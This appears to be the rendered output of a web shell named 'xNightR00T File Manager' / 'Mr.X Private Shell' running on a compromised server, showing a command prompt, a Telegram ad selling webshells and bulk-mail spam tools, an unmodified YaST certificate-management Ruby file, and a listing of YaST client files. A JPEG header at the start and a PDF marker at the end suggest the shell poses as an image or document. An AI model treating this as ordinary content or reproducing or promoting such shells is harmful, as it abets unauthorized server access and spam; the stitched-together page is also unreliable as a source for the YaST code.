xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ***************************************************************************
#
# Copyright (c) 2004 - 2012 Novell, Inc.
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail,
# you may find current contact information at www.novell.com
#
# ***************************************************************************
# File:        clients/common_cert.ycp
# Package:     CA Management
# Summary:     Main file
# Authors:     Stefan Schubert <schubi@suse.de>
#
# $Id$
#
# Showing current common server certificate
module Yast
  class CommonCertClient < Client
    def main
      Yast.import "UI"

      #**
      # <h3>Common Server Certificate</h3>

      textdomain "ca-management"
      Yast.import "CaMgm"
      Yast.import "CommandLine"
      Yast.import "Wizard"
      Yast.import "Label"
      Yast.import "Popup"
      Yast.import "YaPI::CaManagement"

      Yast.include self, "ca-management/util.rb"

      # The main ()
      Builtins.y2milestone("----------------------------------------")
      Builtins.y2milestone("common_cert module started")

      @cmdline = {
        "id"         => "common_cert",
        "help"       => _("Common Server Certificate"),
        "guihandler" => fun_ref(method(:MainSequence), "symbol ()")
      }
      CommandLine.Run(@cmdline)

      # Finish
      Builtins.y2milestone("common_cert finished")
      Builtins.y2milestone("----------------------------------------") 


      # EOF

      nil
    end

    # Open main dialog sequence
    def MainSequence
      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("common_cert")

      # help text 1/8
      helptext = _(
        "<p>A Server Certificate is used by services which provide SSL/TLS encrypted network connections.</p>"
      )

      # help text 2/8
      helptext = Ops.add(
        helptext,
        _(
          "<p>The purpose of the <b>Common Server Certificate</b> is, to provide a certificate for several services running on this host. "
        )
      )

      # help text 3/8
      helptext = Ops.add(
        helptext,
        _(
          "Some YaST modules provide the capability to use this certificate during configuration of such a service.</p>"
        )
      )

      # help text 4/8
      helptext = Ops.add(
        helptext,
        _(
          "<p>With the <b>Import/Replace</b> button you can add a new server certificate or replace the current one.</p>"
        )
      )

      # help text 5/8
      helptext = Ops.add(
        helptext,
        _(
          "<p>You can remove the Certificates by clicking the <b>Remove</b> button. But make sure, that it is not used anymore by other services.</p>"
        )
      )

      # help text 6/8
      helptext = Ops.add(
        helptext,
        _(
          "<p>Certificates can be written to a file using <b>Export to File</b> in section <b>Certificate</b> in the <b>CA Management</b> module.</p>"
        )
      )

      # help text 7/8
      helptext = Ops.add(
        helptext,
        _(
          "<p>Certificates to import from disk must have been written in <b>PKCS12 format with CA chain</b>.</p>"
        )
      )

      # help text 8/8
      helptext = Ops.add(
        helptext,
        _("<p>For more information, please read the manual.</p>")
      )

      ui = nil
      begin
        ret = Convert.to_string(
          YaPI::CaManagement.ReadFile(
            {
              "inFile"   => "/etc/ssl/servercerts/servercert.pem",
              "datatype" => "CERTIFICATE",
              "inForm"   => "PEM",
              "type"     => "plain"
            }
          )
        )

        Builtins.y2milestone(
          "ReadCertificate(/etc/ssl/servercerts/servercert.pem): %1",
          ret
        )
        if ret == nil
          # popup text
          ret = _("<pre>Common Server Certificate not found.\nYou can import a certificate from disk</pre>")
        else
          ret = Ops.add(Ops.add("<pre>", ret), "</pre>")
        end

        contents = VBox(
          Left(Label(_("Description"))),
          VSpacing(0.5),
          RichText(ret),
          VSpacing(0.5),
          HBox(
            HStretch(),
            # push button label
            PushButton(Id(:remove), _("&Remove")),
            # push button label
            PushButton(Id(:importDisk), _("&Import/Replace"))
          )
        )

        # To translators: dialog label
        Wizard.SetContents(
          _("Common Server Certificate"),
          contents,
          helptext,
          false,
          true
        )
        Wizard.SetNextButton(:next, Label.FinishButton)

        ui = Convert.to_symbol(UI.UserInput)
        if ui == :importDisk
          importCertificateFromDisk
          ui = :again
        end
        if ui == :remove
          crt = Convert.to_map(
            YaPI::CaManagement.ReadFile(
              {
                "inFile"   => "/etc/ssl/servercerts/servercert.pem",
                "datatype" => "CERTIFICATE",
                "inForm"   => "PEM",
                "type"     => "parsed"
              }
            )
          )
          expired = Ops.get_integer(crt, "EXPIRED", 0)
          reallyRemove = false
          if expired == 1
            # To translators: popup yes/no question
            reallyRemove = Popup.YesNo("Really remove the Certificate?")
          else
            #removeCertificateFromDisk();
            reallyRemove = Popup.AnyQuestion(
              Label.WarningMsg,
              # To translators: warning popup yes/no question (1/3)
              _("The certificate is not yet expired.\n") +
                # To translators: warning popup yes/no question (2/3)
                _(
                  "Please make sure, that no service use this certificate anymore.\n\n"
                ) +
                # To translators: warning popup yes/no question (3/3)
                _("Are you sure, that you want to remove the certificate?"),
              Label.YesButton,
              Label.NoButton,
              :focus_no
            )
          end
          Builtins.y2milestone("Remove certificate? => %1", reallyRemove)
          YaPI::CaManagement.RemoveCommonServerCertificate if reallyRemove
          ui = :again
        end
        ui = :abort if ui == :cancel
      end until Builtins.contains([:back, :next, :abort], ui)
      Wizard.CloseDialog

      nil
    end
  end
end

Yast::CommonCertClient.new.main

Filemanager

Name Type Size Permission Actions
OneClickInstallCLI.rb File 6.29 KB 0644
OneClickInstallUI.rb File 20.1 KB 0644
OneClickInstallUrlHandler.rb File 637 B 0644
OneClickInstallWorker.rb File 5.53 KB 0644
add-on.rb File 4.81 KB 0644
add-on_auto.rb File 10.01 KB 0644
add-on_proposal.rb File 2.42 KB 0644
add_inst_source_slptype.rb File 918 B 0644
audit-laf.rb File 11.39 KB 0644
audit-laf_auto.rb File 3.95 KB 0644
audit-laf_proposal.rb File 3.41 KB 0644
auth-client.rb File 1.07 KB 0644
auth-client_auto.rb File 1013 B 0644
auth-server.rb File 7.89 KB 0644
auth-server_auto.rb File 3.02 KB 0644
auth-server_proposal.rb File 12.25 KB 0644
auth.rb File 1.15 KB 0644
autoinst_scripts1_finish.rb File 1.55 KB 0644
autoinst_scripts2_finish.rb File 2.17 KB 0644
autoinst_test_clone.rb File 1017 B 0644
autoinst_test_stage.rb File 1.53 KB 0644
autoyast.rb File 4.09 KB 0644
ayast_probe.rb File 3.29 KB 0644
ayast_setup.rb File 4.76 KB 0644
backup_proposal.rb File 3.61 KB 0644
bootloader.rb File 1.13 KB 0644
bootloader_auto.rb File 63 B 0644
bootloader_finish.rb File 65 B 0644
bootloader_proposal.rb File 71 B 0644
ca-mgm.rb File 1.16 KB 0644
ca_mgm.rb File 7.43 KB 0644
ca_mgm_auto.rb File 37.21 KB 0644
ca_mgm_proposal.rb File 16.46 KB 0644
ca_select_proposal.rb File 18.54 KB 0644
cd_update.rb File 1.13 KB 0644
checkmedia.rb File 1.13 KB 0644
cio_ignore_finish.rb File 92 B 0644
cio_ignore_proposal.rb File 94 B 0644
classes_auto.rb File 2.07 KB 0644
clone_system.rb File 4.33 KB 0644
common-cert.rb File 1.18 KB 0644
common_cert.rb File 6.85 KB 0644
complete_workflow.rb File 1.38 KB 0644
copy_files_finish.rb File 86 B 0644
copy_logs_finish.rb File 76 B 0644
copy_systemfiles_finish.rb File 98 B 0644
country_simple_proposal.rb File 3.29 KB 0644
default_target_finish.rb File 1.16 KB 0644
default_target_proposal.rb File 8.72 KB 0644
deploy_image_auto.rb File 86 B 0644
deploying_proposal.rb File 89 B 0644
desktop_finish.rb File 81 B 0644
dhcp-server.rb File 1.14 KB 0644
dhcp-server_auto.rb File 4.68 KB 0644
discover_registration_services.rb File 1.03 KB 0644
disintegrate_all_extensions.rb File 106 B 0644
disk.rb File 2.91 KB 0644
disk_worker.rb File 4.06 KB 0644
dns-server.rb File 1.1 KB 0644
dns-server_auto.rb File 2.89 KB 0644
dns.rb File 8.35 KB 0644
dns_auto.rb File 3.37 KB 0644
do_not_show_again_editor.rb File 3.49 KB 0644
do_online_update_auto.rb File 3.27 KB 0644
driver_update1_finish.rb File 94 B 0644
driver_update2_finish.rb File 94 B 0644
files_auto.rb File 10.82 KB 0644
firewall.rb File 3.15 KB 0644
firewall_auto.rb File 4.15 KB 0644
firewall_proposal.rb File 9.86 KB 0644
firewall_stage1_finish.rb File 5.71 KB 0644
firewall_stage1_proposal.rb File 16.24 KB 0644
ftp-server.rb File 40.97 KB 0644
ftp-server_auto.rb File 3.56 KB 0644
general_auto.rb File 1.83 KB 0644
groups.rb File 9.29 KB 0644
host.rb File 3.32 KB 0644
host_auto.rb File 4.33 KB 0644
http-server.rb File 18.42 KB 0644
http-server_auto.rb File 3.1 KB 0644
inetd.rb File 13.52 KB 0644
inetd_auto.rb File 4.63 KB 0644
inetd_proposal.rb File 3.07 KB 0644
inst_add-on.rb File 5 KB 0644
inst_add-on_software.rb File 3.3 KB 0644
inst_addon_update_sources.rb File 101 B 0644
inst_ask_online_update.rb File 95 B 0644
inst_autoconfigure.rb File 19.7 KB 0644
inst_autoimage.rb File 1.85 KB 0644
inst_autoinit.rb File 6.47 KB 0644
inst_autopost.rb File 8.47 KB 0644
inst_autosetup.rb File 17.36 KB 0644
inst_autosetup_upgrade.rb File 17.05 KB 0644
inst_backup.rb File 7.77 KB 0644
inst_bootloader.rb File 1.18 KB 0644
inst_check_autoinst_mode.rb File 99 B 0644
inst_check_memsize.rb File 658 B 0644
inst_checkmedia.rb File 3.31 KB 0644
inst_complex_welcome.rb File 92 B 0644
inst_congratulate.rb File 87 B 0644
inst_custom_packages.rb File 2.91 KB 0644
inst_custom_part.rb File 1.17 KB 0644
inst_custom_patterns.rb File 94 B 0644
inst_deploy_image.rb File 86 B 0644
inst_desktop_roles.rb File 98 B 0644
inst_disk.rb File 2.55 KB 0644
inst_disk_for_image.rb File 89 B 0644
inst_disk_proposal.rb File 12.58 KB 0644
inst_disks_activate.rb File 90 B 0644
inst_do_net_test.rb File 28.83 KB 0644
inst_doit.rb File 71 B 0644
inst_download_release_notes.rb File 105 B 0644
inst_extrasources.rb File 87 B 0644
inst_features.rb File 79 B 0644
inst_finish.rb File 75 B 0644
inst_info.rb File 71 B 0644
inst_initialization.rb File 91 B 0644
inst_install_inf.rb File 85 B 0644
inst_installation_options.rb File 87 B 0644
inst_instsys_cleanup.rb File 99 B 0644
inst_iscsi-client.rb File 3.46 KB 0644
inst_keyboard_root_password.rb File 108 B 0644
inst_kickoff.rb File 19.83 KB 0644
inst_lan.rb File 2.24 KB 0644
inst_language.rb File 1.36 KB 0644
inst_language_add-on.rb File 12.54 KB 0644
inst_license.rb File 77 B 0644
inst_mediacopy.rb File 4.17 KB 0644
inst_network_check.rb File 88 B 0644
inst_pre_install.rb File 84 B 0644
inst_prepare_image.rb File 88 B 0644
inst_prepareprogress.rb File 93 B 0644
inst_prepdisk.rb File 5.8 KB 0644
inst_productsources.rb File 50.93 KB 0644
inst_proposal.rb File 1008 B 0644
inst_release_notes.rb File 88 B 0644
inst_resize_dialog.rb File 17.82 KB 0644
inst_resize_ui.rb File 30.46 KB 0644
inst_restore_settings.rb File 94 B 0644
inst_root_first.rb File 1007 B 0644
inst_rootpart.rb File 1.57 KB 0644
inst_rpmcopy.rb File 18.49 KB 0644
inst_rpmcopy_secondstage.rb File 100 B 0644
inst_save_hardware_status.rb File 101 B 0644
inst_scc.rb File 10.61 KB 0644
inst_scenarios.rb File 81 B 0644
inst_setup_dhcp.rb File 73 B 0644
inst_ssh_import.rb File 843 B 0644
inst_store_upgrade_software.rb File 3.98 KB 0644
inst_sw_select.rb File 1.77 KB 0644
inst_system_analysis.rb File 92 B 0644
inst_system_role.rb File 81 B 0644
inst_target_part.rb File 17.41 KB 0644
inst_target_selection.rb File 11.7 KB 0644
inst_test_workflow.rb File 949 B 0644
inst_timezone.rb File 2.36 KB 0644
inst_update.rb File 8.52 KB 0644
inst_update_installer.rb File 732 B 0644
inst_update_partition.rb File 1.86 KB 0644
inst_update_partition_auto.rb File 1.27 KB 0644
inst_upgrade_urls.rb File 86 B 0644
inst_user_first.rb File 1007 B 0644
inst_welcome.rb File 77 B 0644
inst_worker_continue.rb File 92 B 0644
inst_worker_initial.rb File 90 B 0644
inst_you.rb File 11.74 KB 0644
installation.rb File 78 B 0644
installation_settings_finish.rb File 108 B 0644
instserver.rb File 1.44 KB 0644
iscsi-client.rb File 3.1 KB 0644
iscsi-client_auto.rb File 4.1 KB 0644
iscsi-client_finish.rb File 3.46 KB 0644
iscsi-client_proposal.rb File 3.51 KB 0644
isns.rb File 2.13 KB 0644
isns_auto.rb File 2.96 KB 0644
isns_finish.rb File 1.9 KB 0644
isns_proposal.rb File 2.59 KB 0644
kdump.rb File 41.7 KB 0644
kdump_auto.rb File 2.66 KB 0644
kdump_finish.rb File 62 B 0644
kdump_proposal.rb File 3.11 KB 0644
kernel_finish.rb File 79 B 0644
key_manager.rb File 2.29 KB 0644
keyboard.rb File 5.48 KB 0644
keyboard_auto.rb File 3.16 KB 0644
keyboard_proposal.rb File 3 KB 0644
keyboard_simple_proposal.rb File 1.41 KB 0644
lan.rb File 6.23 KB 0644
lan_auto.rb File 12.98 KB 0644
language.rb File 9.12 KB 0644
language_auto.rb File 3.11 KB 0644
language_proposal.rb File 4.14 KB 0644
language_simple_proposal.rb File 1.6 KB 0644
ldap_browser.rb File 23.65 KB 0644
ldap_config.rb File 1.93 KB 0644
ldapkrb.rb File 1.1 KB 0644
ldconfig_finish.rb File 83 B 0644
mail.rb File 2.87 KB 0644
mail_auto.rb File 3.12 KB 0644
media_proposal.rb File 2.51 KB 0644
menu.rb File 12.75 KB 0644
migration.rb File 65 B 0644
migration_finish.rb File 732 B 0644
migration_proposal.rb File 715 B 0644
migration_proposals.rb File 1.19 KB 0644
migration_repos.rb File 730 B 0644
multipath-simple.rb File 1.21 KB 0644
network.rb File 4.3 KB 0644
network_finish.rb File 81 B 0644
network_proposal.rb File 69 B 0644
nfs-client.rb File 231 B 0644
nfs-client4part.rb File 2.63 KB 0644
nfs-server.rb File 277 B 0644
nfs.rb File 10.04 KB 0644
nfs_auto.rb File 2.54 KB 0644
nfs_server.rb File 9.59 KB 0644
nfs_server_auto.rb File 2.67 KB 0644
nis-client.rb File 1.16 KB 0644
nis-server.rb File 1.16 KB 0644
nis.rb File 7.99 KB 0644
nis_auto.rb File 3.05 KB 0644
nis_server.rb File 12.72 KB 0644
nis_server_auto.rb File 3.82 KB 0644
ntp-client.rb File 1.24 KB 0644
ntp-client_auto.rb File 3.92 KB 0644
ntp-client_finish.rb File 2.43 KB 0644
ntp-client_proposal.rb File 14.53 KB 0644
online_update.rb File 12.58 KB 0644
online_update_install.rb File 4.93 KB 0644
online_update_select.rb File 12.06 KB 0644
openldap-mirrormode.rb File 1.57 KB 0644
other_tools_warning.rb File 1.85 KB 0644
packages_proposal.rb File 7.64 KB 0644
partitions_proposal.rb File 8.99 KB 0644
pkg_finish.rb File 216 B 0644
pre_umount_finish.rb File 86 B 0644
prep_shrink_finish.rb File 94 B 0644
printer.rb File 3.03 KB 0644
printer_auto.rb File 17.76 KB 0644
printer_proposal.rb File 21.77 KB 0644
proxy.rb File 66 B 0644
proxy_auto.rb File 75 B 0644
proxy_finish.rb File 77 B 0644
registration.rb File 3.04 KB 0644
registration_sync.rb File 734 B 0644
relocation-server.rb File 3.45 KB 0644
remote.rb File 4.51 KB 0644
remote_finish.rb File 900 B 0644
remote_proposal.rb File 3.01 KB 0644
report_auto.rb File 7.94 KB 0644
repositories.rb File 308 B 0644
roles_finish.rb File 86 B 0644
rootpart_check_keyboard.rb File 1.63 KB 0644
rootpart_proposal.rb File 4.83 KB 0644
routing.rb File 12.82 KB 0644
routing_auto.rb File 3.39 KB 0644
samba-client.rb File 9.59 KB 0644
samba-client_auto.rb File 4.02 KB 0644
save_config_finish.rb File 88 B 0644
save_hw_status_finish.rb File 93 B 0644
save_network.rb File 9.33 KB 0644
scc.rb File 3.04 KB 0644
scc_auto.rb File 10.93 KB 0644
scc_finish.rb File 92 B 0644
scripts_auto.rb File 1.87 KB 0644
security.rb File 8.23 KB 0644
security_auto.rb File 4.25 KB 0644
security_summary.rb File 1.76 KB 0644
select_language.rb File 22.52 KB 0644
select_slp_source.rb File 432 B 0644
services-manager.rb File 7.25 KB 0644
services-manager_auto.rb File 1.13 KB 0644
services-manager_finish.rb File 117 B 0644
services.rb File 7.25 KB 0644
services_finish.rb File 92 B 0644
services_proposal.rb File 10.74 KB 0644
snapper.rb File 1.86 KB 0644
snapshots_finish.rb File 77 B 0644
software_auto.rb File 8.08 KB 0644
software_proposal.rb File 82 B 0644
software_simple_proposal.rb File 2.06 KB 0644
squid.rb File 3.86 KB 0644
squid_auto.rb File 3.89 KB 0644
ssh_import_auto.rb File 88 B 0644
ssh_import_proposal.rb File 85 B 0644
ssh_settings_finish.rb File 90 B 0644
storage.rb File 949 B 0644
storage_auto.rb File 2.49 KB 0644
storage_finish.rb File 3.04 KB 0644
stroj-casu.rb File 73 B 0644
sudo.rb File 2.6 KB 0644
support.rb File 3.12 KB 0644
support_auto.rb File 3.94 KB 0644
support_proposal.rb File 3.43 KB 0644
sw_single.rb File 26.4 KB 0644
switch_scr_finish.rb File 86 B 0644
sysconfig.rb File 4.36 KB 0644
sysconfig_auto.rb File 2.19 KB 0644
test_inst_client.rb File 84 B 0644
test_proposal.rb File 79 B 0644
tftp-server.rb File 4.33 KB 0644
tftp-server_auto.rb File 2.82 KB 0644
timezone.rb File 6.64 KB 0644
timezone_auto.rb File 2.82 KB 0644
timezone_proposal.rb File 2.67 KB 0644
umount_finish.rb File 79 B 0644
update_proposal.rb File 18.74 KB 0644
update_wizard_steps.rb File 90 B 0644
users.rb File 10.97 KB 0644
users_auto.rb File 5.54 KB 0644
users_encryption_method.rb File 1012 B 0644
users_encryption_proposal.rb File 819 B 0644
users_finish.rb File 1.2 KB 0644
users_plugin_ldap_all.rb File 11.17 KB 0644
users_plugin_ldap_passwordpolicy.rb File 7.03 KB 0644
users_plugin_ldap_shadowaccount.rb File 10.53 KB 0644
users_plugin_quota.rb File 18.49 KB 0644
users_proposal.rb File 1.08 KB 0644
vendor.rb File 10.32 KB 0644
view_anymsg.rb File 8.08 KB 0644
virtualization.rb File 3.02 KB 0644
vm_finish.rb File 4.69 KB 0644
vpn.rb File 1008 B 0644
vpn_auto.rb File 950 B 0644
wol.rb File 6.59 KB 0644
wrapper_slideshow_callbacks.rb File 1.27 KB 0644
wrapper_storage.rb File 1.96 KB 0644
x11_finish.rb File 73 B 0644
xinetd.rb File 1.15 KB 0644
yast_inf_finish.rb File 82 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1